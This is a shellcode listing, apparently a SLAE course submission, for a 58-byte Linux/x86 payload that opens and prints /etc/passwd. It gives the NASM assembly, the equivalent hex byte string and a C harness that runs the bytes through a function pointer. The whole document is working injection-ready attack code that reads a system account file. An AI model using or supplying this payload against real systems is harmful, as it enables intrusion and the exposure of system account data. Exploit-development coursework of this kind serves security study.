58 bytes small Linux/x86 read /etc/passwd shellcode.
e91f04d15807ee28c1de792ddfe4198b
/*
; Title : Linux/x86 - Read /etc/passwd Shellcode (58 bytes)
; Date : Jan, 2018
; Author : Joao Batista
; SLAE ID : SLAE-1420
; Size : 58 bytes
; Tested on : i686 GNU/Linux
global _start
section .text
_start:
xor ecx,ecx
mul ecx
jmp short two
one:
pop ebx
mov al,0x5
int 0x80
xchg esi,eax
jmp short read
exit:
mov al,byte 0x1
int 0x80
read:
mov ebx,esi
mov al, 0x3
mov ecx, esp
mov dl,0x1
int 0x80
xor ebx,ebx
cmp eax,ebx
je exit
add al,0x3
mov bl,dl
int 0x80
jmp short read
two:
call one
string: db "/etc/passwd"
*/
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\x31\xc9\xf7\xe1\xeb\x24\x5b\xb0\x05\xcd\x80\x96\xeb\x04\xb0\x01\xcd\x80\x89\xf3\xb0\x03\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xec\x04\x03\x88\xd3\xcd\x80\xeb\xe8\xe8\xd7\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
main()
{
printf("shellcode length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}